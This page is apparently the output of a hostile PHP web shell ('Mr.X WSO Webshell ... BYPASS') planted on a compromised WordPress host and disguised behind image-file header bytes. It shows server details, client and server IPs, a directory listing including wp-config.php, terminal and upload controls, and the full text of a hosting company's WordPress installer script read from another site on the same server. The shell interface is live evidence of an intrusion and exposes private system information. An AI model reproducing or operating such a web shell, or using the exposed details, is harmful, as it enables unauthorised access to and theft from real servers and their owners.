����JFIF���������www.stoptube.com - WSOX ENC
Attention:
Uname:
Php:
Hdd:
Cwd:
Mr.X WSO Webshell! - Personal WEB SHELL Mr.X BYPASS! V2.5 Telegram: @jackleet
Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
5.3.29 Safe mode: OFF Datetime: 2026-04-09 17:21:35
1999.30 GB Free: 68.77 GB (3%)
/home/httpd/html/stoptube.com/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
127.0.0.54
Client IP:
216.73.216.53
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2020-10-29 21:25:34drwxr-xr-xRename Touch
[ .. ]dir2026-04-09 17:21:33drwxr-xr-xRename Touch
[ cgi-bin ]dir2012-04-08 21:15:31drwxr-xr-xRename Touch
[ public_html ]dir2023-11-10 01:29:28drwxr-xr-xRename Touch
[ stats ]dir2012-05-18 05:35:08drwxr-xr-xRename Touch
[ wp-admin ]dir2018-10-17 02:02:36drwxr-xr-xRename Touch
[ wp-content ]dir2026-04-09 17:20:59drwxrwxr-xRename Touch
[ wp-includes ]dir2018-10-17 02:02:35drwxrwxr-xRename Touch
[ wpbackup-mojo ]dir2013-09-23 12:20:27drwxr-xr-xRename Touch
120x240_2.gif13.45 KB2008-06-28 03:13:23-rw-r--r--Rename Touch Edit Download
120x240_4.gif11.19 KB2008-06-28 03:15:01-rw-r--r--Rename Touch Edit Download
google33e705b4a02b516c.html53 B2018-10-09 07:59:06-rw-r--r--Rename Touch Edit Download
google54c2bf32c9bf2083.html7 B2009-05-30 01:17:01-rw-r--r--Rename Touch Edit Download
grepsearch.php910 B2009-05-31 03:50:51-rw-r--r--Rename Touch Edit Download
index.php418 B2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
license.txt19.47 KB2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
readme.html7.24 KB2020-10-29 21:25:34-rw-r--r--Rename Touch Edit Download
robots.txt29 B2014-04-01 00:38:43-rw-r--r--Rename Touch Edit Download
scan_files.php3.34 KB2009-06-03 20:33:08-rw-r--r--Rename Touch Edit Download
wp-activate.php6.72 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-atom.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php364 B2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-comments-post.php1.84 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-commentsrss2.php244 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-config-sample.php2.79 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-config.php1.47 KB2018-10-04 12:51:18-rw-rw-r--Rename Touch Edit Download
wp-config.php_backup_ticket_5246641.30 KB2018-10-03 15:00:12-rw-r--r--Rename Touch Edit Download
wp-cron.php3.58 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-feed.php246 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.37 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-load.php3.23 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-login.php36.92 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-mail.php7.86 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-pass.php494 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rdf.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-register.php334 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss2.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-settings.php15.87 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-signup.php29.39 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.51 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wpupdate.sh12.75 KB2013-09-22 17:09:27-rw-r--r--Rename Touch Edit Download
xmlrpc.php2.99 KB2018-10-17 02:02:34----------Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: /home/httpd/html/doggieboys.com/public_html/wp.sh
#!/bin/sh

# MojoHost WordPress Installer Script

REVISION=70
LASTUPDATED=2011-07-21

# Script now catches if you try to create a mysql username with more than 16 characters.
# Script now only presents the first of multiple uid 500 users, to avoid a display glitch.
# Script now display the current folder it is in (where WordPress will be installed).
# Script now tests the MySQL root password before proceeding, and demands you feed it a valid password.
# Script now tries up to 5 times to register the admin user with the new WordPress, because sometimes the web server ir responding slowly.
# Modified the script so that if the WordPress download URL ever changes, you can change it in one spot and be done.
# Modified the script so that the downloaded WordPress source file it give a more identifiable name in the /tmp folder.
# Prompts for WordPress Admin Username.
# Prompts for WordPress Admin Password.
# If wget fails, it will try up to 4 more times, witha 1 second wait in between reattempts.
# If the wget for latest.tar.gz fails, the script will spit out the reason why.
# Make output less chatty/busy.
# Made the prompts for input more user friendly.
# Moved the input accepting code above the code that actually made changes to the filesystem and database. Previously you could get through all but the last question, and hit CTRL-C on the last question. Only to find out that the script had already enacted filesystem and database changes BEFORE you were done giving it information.
# Integrated the prompt answers, into the following prompts for clarity.
# Script now deletes the previously downloaded WordPress source file.
# Script now deletes the previously untarred source folder.
# Script now deletes the downloaded WordPress source file, after an install.
# Script now deletes the untarred source folder after an install.
# Script now prevents you from using a blank database name.
# Script now prevents you from using from using a database name that already exists in the target database server.
# Script now checks the email address format (for at least one character, an "@" symbol, and then at least one character).
# Added colorization to make some things more apparent, like errors, and when good things happen.
# Cleaned up the questions.
# Cleaned up the colorization.
# Made it so that if you ctrl-c out of the script, it doesn't leave your screen all colorized.
# Script now downloads the WordPress source file if the total file size is not advertisted as the beginning of the file download.
# Script is now compatible with CentOS 3.9 systems.
# Script now handles when there are multiple usernames on the server for the 500 UID user.
# Script now has an apache basic auth login page, to help secure the WordPress Admin page area from harm.
# Script now produces a browser friendly URL that you can use if the WordPress install fails.

##### TO DO
# do mysql service access testing
# do input validation for the WordPress domain name/path
# do testing to make sure that the server name is resolvable
# do exit code testing to ensure proper handing off of tasks
# verify every task after it is allegedly done
# provide a question to automatically setup a blog to autoforward to the www version?
# setup autocompleting, to automatically determine the domain name, and sub folder to use for the website domain path
# have the script make sure that the first character of the database name is a letter
# have script make sure the mysql username doesn't already exist
# have the script make sure it can reach the webserver, before attempting to install anything
# have script make sure there is nothing in the target install directory, this will prevent wordpress from stomping on things or installing into the wrong folder by accident.
# figure out how to address when there isn't a 500 user on the server, i.e. when the owning user of the box is 506, or something like that.
# need to make it so that if you put in the wrong subdirectory, that the installer script will realize that, and attempt to autodetect for that
# need to test whether or not the dbserver is capable of being connected to, because a lotzadollars server had dbserverpointing to a completely separate server, but the mysql code is configured to only install locally. That needs to be fixed.
# need to validate the expected input coming back from commands issued to the system
# need to trim all of the returned results from the system, to avoid unexpected issues/errors.
# have it gracefully autocorrect itself with localhost, when dbserver is not resolvable on the box (i.e. when it's not in the /etc/hosts file)

################################################## Variables - BEGIN
# WordPress Download URL
WPDOWNLOADURL="http://wordpress.org/latest.tar.gz"
# WordPress downloaded source filename
WPFILENAME="latestWordPress.tar.gz"
# Get out current directory
installDir="`pwd`"
# Secure wp-admin folder? 
secureWPAdminFolder="yes"
#secureWPAdminFolder="no"

# colors
BLACK='\e[1;30m'
RED='\e[1;31m'
GREEN='\e[1;32m'
YELLOW='\e[1;33m'
BLUE='\e[1;34m'
MAGENTA='\e[1;35m'
CYAN='\e[1;36m'
WHITE='\e[1;37m'
ENDCOLOR='\e[0m'
################################################## Variables - END


################################################## Functions - BEGIN
### trim function: removes whitespace on both sides of the variable value
trim() { echo $1; }
################################################## Functions - END


#########################################
### PHP Version checking - added by Laws  - 7/20/2011
###

PHPV="`php -v | grep built | awk '{print $2}'`"
PHPV1="`php -v | grep built | awk '{print $2}' | awk -F. '{print $1}'`"
PHPV2="`php -v | grep built | awk '{print $2}' | awk -F. '{print $1$2}'`"
PHPV3="`php -v | grep built | awk '{print $2}' | awk -F. '{print $3}'`"
if [[ "$PHPV1" < "4" ]]
then
	echo "$PHPV"
    	echo "You currently have PHP ${PHPV} installed.  Wordpress requires 5.2.4+.  As you aren't even in the PHP 5 tree, you can't go further."
       	exit 5
elif [[ "$PHPV2" -eq "52" ]]
then
	if [[ "$PHPV3" -lt "4" ]]
        then
              	#echo "$PHPV"
                echo "You have PHP ${PHPV}, but you need at least 5.2.4 for WordPress."
              	select PHPUP in "Yes" "No";do
                      	break
                done
                if [ "$PHPUP" == "No" ]
                then
                     	echo "Exiting WordPress install script."
                      	exit 2
                else
			configureLine="`php -i | grep configure | sed 's/Configure Command =>//'|tr -d \"'\"`"
			#echo ""
			#echo $configureLine
			#echo ""
             		echo "Upgrading PHP to v5.2.17."
              		cd /usr/src
                	if [[ -d "php-5.2.17" ]]
                	then
                	      	echo "5.2.17 source already exists in /usr/src, we'll use this."
                	      	cd php-5.2.17
				${configureLine} && make clean && make all && make install && service httpd configtest && service httpd restart
                	else
                	      	wget fs01/files/php-5.2.17.tar.gz
                	      	tar xfz php-5.2.17.tar.gz
				cd php-5.2.17
				${configureLine} && make clean && make all && make install && service httpd configtest && service httpd restart
                	fi
        	fi
	else
	        if [[ "$PHPV3" -gt "4" ]]
	        then
	        	#echo "$PHPV"
	                echo "You have PHP ${PHPV} and meet WordPress 3.2's requirements."
	        fi
	fi
	echo ""
	echo ""

else
	if [[ "$PHPV2" -eq "53" ]]
        then
                #echo "$PHPV"
                echo "You currently have PHP ${PHPV} installed. You are all set to install WordPress 3.2."
        fi
	echo ""
	echo ""
fi

################################################## Interrogation Phase - BEGIN
# change back to our root directory in the event we had to install PHP
cd ${installDir}
clear
trap 'echo -e "${ENDCOLOR}"; exit -1' INT

# MojoHost Welcome Banner
echo ""
echo "============================================================="
echo "  MojoHost WordPress Installer Script (Revision $REVISION)"
echo "============================================================="
echo ""
echo "Always download the latest version of this script from http://fs01/repos/scripts/wordpress/install.sh :"
echo ""
echo "WordPress will be installed in the current folder: ${installDir}"
echo "(Type CTRL-C by the last question to safely abort.)"
echo ""

# If wordpress is already installed, let's not do anything.
if [ -d wp-admin ]
then
        echo WordPress is already installed!
	echo ""
        exit 1
fi

 echo "Please provide the following..."

# What server name can WordPress use for connecting to the database.
echo -n -e " ${YELLOW}1/10.${ENDCOLOR} Enter the MySQL server that WordPress should use (ENTER for 'dbserver'): ${CYAN}"
read DBSERVER
DBSERVER=$(trim $DBSERVER)

if [ "$DBSERVER" == "" ]
then
        DBSERVER="dbserver"
fi

# Ask the system administrator for MySQL's root password.
while [ "1" -eq "1" ]
do
	echo -n -e " ${YELLOW}2/10.${ENDCOLOR} Enter the MySQL root password for '$DBSERVER': ${CYAN}"
	read MYSQLROOT
	MYSQLROOT=$(trim $MYSQLROOT)
	
	# get mysql connect test response
	if [ "$MYSQLROOT" == "" ]
	then 
		MYSQLTESTBOOL="`mysql mysql <<EOF 2>&1|grep \"Access denied\"|wc -w`"
	else
		MYSQLTESTBOOL="`mysql -p$MYSQLROOT mysql <<EOF 2>&1|grep \"Access denied\"|wc -w`"
	fi
	MYSQLTESTBOOL=$(trim $MYSQLTESTBOOL)

	#echo "mysql test result: $MYSQLTESTBOOL"

        if [[ "$MYSQLTESTBOOL" -eq "0" ]]
        then
                break
	else
	       echo -e "         ${RED}That MySQL root password is incorrect.${ENDCOLOR}"
        fi
done

# Get the database name that WordPress will be install into.
# If it doesn't already exist, WordPress will create it.
##DBNAME=
##dbExistsBool=2
while [ "1" -eq "1" ]
do
	echo -n -e " ${YELLOW}3/10.${ENDCOLOR} Enter a new database name to create on '$DBSERVER': ${CYAN}"
	read DBNAME
	DBNAME=$(trim $DBNAME)

	# get list of databases
        if [ "$MYSQLROOT" == "" ]
        then
RESULT="`mysql mysql <<EOF
show databases;
EOF`"
        else
RESULT="`mysql -p$MYSQLROOT mysql <<EOF
show databases;
EOF`"
        fi
	
	# output databases + database names
	#echo $RESULT
	
	# equals 1 if database already exists, equals 0 if database does not exist
	dbExistsBool="`echo "$RESULT"|grep -w \"$DBNAME\"|wc -w`"
	dbExistsBool=$(trim $dbExistsBool)
	#echo $dbExistsBool

	#echo "$RESULT"|wc -w
	
	if [ "$dbExistsBool" -eq "1" ]
	then
	        echo -e "         ${RED}The database '$DBNAME' already exists.${ENDCOLOR}"
	fi

	if [ "$DBNAME" == "" ]
	then
	        echo -e "         ${RED}You cannot use a blank database name.${ENDCOLOR}"
	fi

	if [[ "$dbExistsBool" -eq "0" ]] && [[ "$DBNAME" != "" ]]
	then
		break
	fi
done

# Get the username that WordPress will login to MySQL with.
while [ "1" -eq "1" ]
do
	echo -n -e " ${YELLOW}4/10.${ENDCOLOR} Enter a new database username to create on '$DBSERVER' (ENTER for '$DBNAME'): ${CYAN}"
	read DBUSER
	DBUSER=$(trim $DBUSER)

	if [ "$DBUSER" == "" ]
	then
	        DBUSER=$DBNAME
	fi

	# get the number of characters in DBUSER
	DBUSERLENGTH="`echo \"$DBUSER\"|wc -c`"
	DBUSERLENGTH=$(trim $DBUSERLENGTH)

	# fix the reported length of DBUSERfrom having one too many characters.
        DBUSERLENGTH=`expr ${DBUSERLENGTH} - 1`

        if [[ "$DBUSERLENGTH" -gt "0" ]] && [[ "$DBUSERLENGTH" -le "16" ]]
        then
		break
	else
                echo -e "         ${RED}That database username is $DBUSERLENGTH characters long. Max Characters = 16. Please shorten it.${ENDCOLOR}"
        fi
done

# Get the password that WordPress will use to login to MySQL with.
echo -n -e " ${YELLOW}5/10.${ENDCOLOR} Enter a new database password for user '$DBUSER' (ENTER to generate random): ${CYAN}"
read DBPASS
DBPASS=$(trim $DBPASS)

if [ "$DBPASS" == "" ]
then
	DBPASS="`</dev/urandom tr -dc A-Za-z0-9 | head -c12`"
fi

# Get the WordPress Admin Username.
echo -e " ${YELLOW}6/10.${ENDCOLOR} Enter a new WordPress Admin Username (Type \"random\" to generate random, "
echo -e -n "       Hit ENTER for 'Admin', or type a custom username): ${CYAN}"
read ADMINUSER                                               
ADMINUSER=$(trim $ADMINUSER)

if [ "$ADMINUSER" == "" ]                                  
then                                                         
        ADMINUSER="Admin"                                    
else                                                         
        ADMINUSER="`</dev/urandom tr -dc A-Za-z0-9 | head -c12`"
fi                                                           

# Get the WordPress Admin Password.
echo -n -e " ${YELLOW}7/10.${ENDCOLOR} Enter a new WordPress Admin Password (ENTER to generate random): ${CYAN}"
read ADMINPASS
ADMINPASS=$(trim $ADMINPASS)

if [ "$ADMINPASS" == "" ]
then
	ADMINPASS="`</dev/urandom tr -dc A-Za-z0-9 | head -c12`"
fi

# verify we got an actual password
if [ "$ADMINPASS" == "" ]
then
	echo -e "${RED}Was unable to generate a new random password... ABORTING INSTALL!${ENDCOLOR}"
	exit 2
fi

################################################
## Security credentials section open
## Added by laws - 7/20/2011
## Create random username and password for wp-admin .htaccess lockdown

SECUSER="`</dev/urandom tr -dc A-Za-z0-9 | head -c12`"
SECPASS="`</dev/urandom tr -dc A-Za-z0-9 | head -c16`"

#Verify secuser is valid
if [ "$SECUSER" == "" ]
then
	echo -e "${RED}Unable to generate a random security username... ABORTING INSTALL!${ENDCOLOR}"
	exit 4
fi

#Verify secpass is valid
if [ "$SECPASS" == "" ]
then
	echo -e "${RED}Unable to generate a random security password... ABORTING INSTALL!${ENDCOLOR}"
        exit 3
fi

##
## Security credentails section close
##################################################


ClientName="`grep :500: /etc/passwd|cut -f1 -d:|head -n1`"
# What is the Unix Login Name being actively used for the client target installation folder? Do a "ls -l" to see.
while [ "1" -eq "1" ]
do
	echo -n -e " ${YELLOW}8/10.${ENDCOLOR} Enter the Unix login name (ENTER for '${ClientName}'): ${CYAN}"
	read UIDName
	UIDName=$(trim $UIDName)
	
	if [ "$UIDName" == "" ]
	then
	        UIDName=$ClientName
	fi
	
	# If user exists in /etc/passwd, use their UID and GID as the chown and chgrp IDs.
	if [ "`grep -i "$UIDName:" /etc/passwd|awk -F: '{print $1}'|wc -l`" -eq "1" ]
	then
		InstallUID=`grep -i "${UIDName}:" /etc/passwd|awk -F: '{print $3}'`
		InstallGID=`grep -i "${UIDName}:" /etc/passwd|awk -F: '{print $4}'`
		break
	else
		echo -e "         ${RED}I'm sorry but that is not a valid user.${ENDCOLOR}"
	fi
done


# What is the domain name with sub-directory path of the WordPress install?
while [ "1" -eq "1" ]
do
	echo -e " ${YELLOW}9/10.${ENDCOLOR} Enter the domain without http (if blog is installed in sub dir include that in domain path),"
	echo -e -n "       e.g. 'foo.com' or 'foo.com/blog': ${CYAN}"
	read INSTDOM
	INSTDOM=$(trim $INSTDOM)

	if [ "$INSTDOM" == "" ]
        then
                echo -e "         ${RED}You cannot use a blank domain.${ENDCOLOR}"
	else
		break        
	fi
done

# What is the email address to use for the WordPress Admin account?
while [ "1" -eq "1" ]
do
	echo -n -e "${YELLOW}10/10.${ENDCOLOR} Enter the client email to use for the WordPress Admin account: ${CYAN}"
	read ADMINEMAIL
        ADMINEMAIL=$(trim $ADMINEMAIL)

	if [ "$ADMINEMAIL" == "" ]
        then
                echo -e "         ${RED}You cannot use a blank email address.${ENDCOLOR}"
        else
		ATCOUNT="`echo \"$ADMINEMAIL\"|grep -c \"..*@..*\"`"
		if [[ "$ATCOUNT" -eq "0" ]]
		then
			echo -e "         ${RED}That is not a valid email address.${ENDCOLOR}"
		else
			break
		fi
        fi
done


echo ""

#################################################### Interrogation Phase - END

echo -e "${ENDCOLOR}"

##################################################### Processing Phase - BEGIN

# Install the needed CentOS components.
yum -yt install expect.`uname -i`

# Purge the old source file.
if [ -f /tmp/$WPFILENAME ]
then
        echo "Removing previous WordPress source file."
        rm -rf /tmp/$WPFILENAME
fi

# Purge the old source folder.
if [ -d /tmp/wordpress ]
then
        echo "Removing previous WordPress source folder."
        rm -rf /tmp/wordpress
fi

# Download latest WordPress version.
if [ ! -f /tmp/$WPFILENAME ]
then
        echo ""
        echo -n "Downloading latest WordPress ............. "

        wgetSourceBool=0
        DOWNLOADATTEMPTS=1
        MAXDOWNLOADATTEMPTS=5
        while [[ "$wgetSourceBool" -eq "0" ]] && [[ "$DOWNLOADATTEMPTS" -lt "$MAXDOWNLOADATTEMPTS" ]]
        do
                wgetSourceBool="`wget $WPDOWNLOADURL -O /tmp/$WPFILENAME 2>&1|grep \"Saving to\\|unspecified\"|wc -w`"
		wgetSourceBool=$(trim $wgetSourceBool)
#                echo "wgetSourceBool: '$wgetSourceBool'"
#                echo "wgetSourceBool: '$(trim $wgetSourceBool )'"
                DOWNLOADATTEMPTS="`expr ${DOWNLOADATTEMPTS} + 1`"
                if [[ "$wgetSourceBool" -eq "0" ]]
                then
                        sleep 1
                        echo -n "Attempt $DOWNLOADATTEMPTS/$MAXDOWNLOADATTEMPTS... "
                        wgetSourceBool="`wget $WPDOWNLOADURL -O /tmp/$WPFILENAME 2>&1|grep \"Saving to\\|unspecified\"|wc -w`"
			wgetSourceBool=$(trim $wgetSourceBool)
                fi
        done

        if [[ "$wgetSourceBool" -gt "0" ]]
        then
                echo -e "${GREEN}Done${ENDCOLOR}"
                echo "Installing WordPress ...................... "
                tar -C /tmp -xzf /tmp/$WPFILENAME
                rm -rf /tmp/$WPFILENAME
        else
                echo -e "${RED}Failed!${ENDCOLOR}"
                echo ""
                echo="`wget $WPDOWNLOADURL -O /tmp/$WPFILENAME` 2>&1"
                echo "Unable to download the WordPress source code from: $WPDOWNLOADURL"
                echo ""
                exit 1
        fi
fi

        # get mysql connect test response
        if [ "$MYSQLROOT" == "" ]
        then
mysql mysql <<EOF
create database $DBNAME;
GRANT ALL PRIVILEGES ON $DBNAME.* TO '$DBUSER'@'localhost' IDENTIFIED BY '$DBPASS';
GRANT ALL PRIVILEGES ON $DBNAME.* TO '$DBUSER'@'127.0.0.1' IDENTIFIED BY '$DBPASS';
flush privileges;
EOF
        else
mysql -p$MYSQLROOT mysql <<EOF
create database $DBNAME;
GRANT ALL PRIVILEGES ON $DBNAME.* TO '$DBUSER'@'localhost' IDENTIFIED BY '$DBPASS';
GRANT ALL PRIVILEGES ON $DBNAME.* TO '$DBUSER'@'127.0.0.1' IDENTIFIED BY '$DBPASS';
flush privileges;
EOF
        fi

/bin/cp -r /tmp/wordpress/* .
if [ ! -e wp-config.php ]
then
	cp wp-config-sample.php wp-config.php
	sed -i -e "s/database_name_here/$DBNAME/g" wp-config.php
	sed -i -e "s/username_here/$DBUSER/g" wp-config.php
	sed -i -e "s/password_here/$DBPASS/g" wp-config.php
	sed -i -e "s/localhost/$DBSERVER/g" wp-config.php
fi

mkdir wp-content/uploads
chmod 775 wp-content/uploads
chmod 775 wp-content
touch .htaccess
chmod 664 .htaccess
chown -R $InstallUID:$InstallGID .
chgrp -R nobody wp-content .htaccess
chmod -R 0775 wp-content


if [ "$secureWPAdminFolder" == "yes" ]
then
	###########################################
	## wp-admin folder security open
	## Added by Laws - 7/20/2011
	##
	## Adding secuser/secpass to /home/httpd/.htpasswd file
	
	echo -n "Installing Basic Auth for wp-admin page ... "
	htpasswd -bs /home/httpd/.htpasswd ${SECUSER} ${SECPASS}
	## Touching .htaccess
	if [ -f "wp-admin/.htaccess" ]
		then
			echo ".htaccess already exists in wp-admin, MUST ADD WP-ADMIN SECURITY BY HAND"
		else
			echo ".htaccess does not exist in wp-admin, creating"
		touch wp-admin/.htaccess
echo "AuthType Basic
AuthName 'Authenticate'
AuthUserFile /home/httpd/.htpasswd
Require user ${SECUSER}" >> wp-admin/.htaccess
	fi
	
	##
	## wp-admin folder security close
	############################################
fi
	
##########################################################
## wp-content/uploads .htaccess for non php/html open
## Added by Laws - 7/20/2011
##

if [ -f "wp-content/uploads/.htaccess" ]
then
	echo -e ".htaccess exists in wp-content/uploads/.htaccess, ${RED}ADD NO-PHP-OR-HTML.HTACCESS MANUALLY!${ENDCOLOR}"	
else
	echo "Installing MojoHost's \"no-php-or-html\" .htaccess file for wp-content/uploads/"
	wget -O wp-content/uploads/.htaccess http://fs01/files/no-php-or-html.htaccess
fi

##
## wp-content/uploads .htaccess for non php/html close
###########################################################



registeredBool=0
REGISTERATTEMPTS=1
MAXREGISTERATTEMPTS=5
echo -n "Registering WP-Admin page.................. "
while [[ "$registeredBool" -eq "0" ]] && [[ "$REGISTERATTEMPTS" -lt "$MAXREGISTERATTEMPTS" ]]
do
	#wget -O - --post-data="weblog_title=$INSTDOM&user_name=$ADMINUSER&admin_password="$ADMINPASS"&admin_password2="$ADMINPASS"&admin_email="$ADMINEMAIL"&Submit=Install+WordPress" "http://"$INSTDOM"/wp-admin/install.php?step=2" 2>&1|grep -i "has been installed"|wc -w
	if [ "$secureWPAdminFolder" == "yes" ]
	then
		registeredBool="`wget -O - --post-data=\"weblog_title=$INSTDOM&user_name=$ADMINUSER&admin_password=$ADMINPASS&admin_password2=$ADMINPASS&admin_email=$ADMINEMAIL&Submit=Install+WordPress\" \"http://${SECUSER}:${SECPASS}@$INSTDOM/wp-admin/install.php?step=2\" 2>&1|grep -i \"has been installed\"|wc -w`"
	else
		registeredBool="`wget -O - --post-data=\"weblog_title=$INSTDOM&user_name=$ADMINUSER&admin_password=$ADMINPASS&admin_password2=$ADMINPASS&admin_email=$ADMINEMAIL&Submit=Install+WordPress\" \"http://$INSTDOM/wp-admin/install.php?step=2\" 2>&1|grep -i \"has been installed\"|wc -w`"
	fi
	registeredBool=$(trim $registeredBool)
	#echo "registeredBool: $registeredBool"
        REGISTERATTEMPTS=`expr ${REGISTERATTEMPTS} + 1`
        if [[ "$registeredBool" -eq "0" ]]
        then
                sleep 1
                echo -n "$REGISTERATTEMPTS/$MAXREGISTERATTEMPTS... "
	else
		break
        fi
done

if [[ "$registeredBool" > "0" ]]
then
	echo -e "${GREEN}Done${ENDCOLOR}"

	# Purge the old source folder.
	if [ -d /tmp/wordpress ]
	then
	        echo -n "Cleaning up ............................... "
	        (
	        rm -rf /tmp/wordpress
	        )
	fi
	
        if [[ ! -d /tmp/wordpress ]] && [[ ! -f /tmp/$WPFILENAME ]]
	then
		echo -e "${GREEN}Done${ENDCOLOR}"
	else
		echo -e "${RED}Failed!${ENDCOLOR}"
	fi

	echo ""
	echo -e "Please use the following text block when responding to your ticket."
	echo ""
	echo ""
	echo -e "${GREEN}WordPress Login Information:"
	echo -e "============================================================"
	echo -e "Blog URL: http://$INSTDOM"
	echo -e "Blog Admin URL: http://$INSTDOM/wp-admin"
	echo ""
        if [ "$secureWPAdminFolder" == "yes" ]
	then
		echo "1st Login Prompt (Secures wp-admin folder)"
		echo "Username: $SECUSER"
		echo "Password: $SECPASS"
		echo ""
		echo "2nd Login Prompt (Actual wp-admin login)"
	fi
		echo "Admin Username: $ADMINUSER"
		echo "Admin Password: $ADMINPASS"
		echo "Admin Email Address: $ADMINEMAIL"
	echo -e "============================================================${ENDCOLOR}"
	echo ""
	echo ""
else
	#wget -O - --post-data="weblog_title=$INSTDOM&user_name=$ADMINUSER&admin_password=$ADMINPASS&admin_password2=$ADMINPASS&admin_email=$ADMINEMAIL&Submit=Install+WordPress" "http://$INSTDOM/wp-admin/install.php?step=2"
	#echo "`wget -O - --post-data=\"weblog_title=$INSTDOM&user_name=$ADMINUSER&admin_password=$ADMINPASS&admin_password2=$ADMINPASS&admin_email=$ADMINEMAIL&Submit=Install+WordPress\" \"http://$INSTDOM/wp-admin/install.php?step=2\" 2>&1`"
	echo ""
	echo -e "${RED}WordPress Installation Failed!${ENDCOLOR}"
	#echo "Please examine the output above, then visit the URL below to complete the WordPress install."
	echo ""
        if [ "$secureWPAdminFolder" == "yes" ]
        then
		echo "Please visit http://${SECUSER}:${SECPASS}@$INSTDOM/wp-admin to diagnose and/or complete the WordPress install."
	else
		echo "Please visit http://$INSTDOM/wp-admin to diagnose and/or complete the WordPress install."
	fi
	#echo "Please visit the URL below to diagnose and complete this WordPress install:"
	echo ""
	#echo "http://${SECUSER}:${SECPASS}@${INSTDOM}/wp-admin/install.php?step=2&weblog_title=${INSTDOM}&user_name=${ADMINUSER}&admin_password=${ADMINPASS}&admin_password2=${ADMINPASS}&admin_email=${ADMINEMAIL}&Submit=Install+WordPress"
	#echo ""
	echo "wget -O - --post-data=\"weblog_title=$INSTDOM&user_name=$ADMINUSER&admin_password=$ADMINPASS&admin_password2=$ADMINPASS&admin_email=$ADMINEMAIL&Submit=Install+WordPress\" \"http://$INSTDOM/wp-admin/install.php?step=2\""
fi

####################################################### Processing Phase - END

trap - INT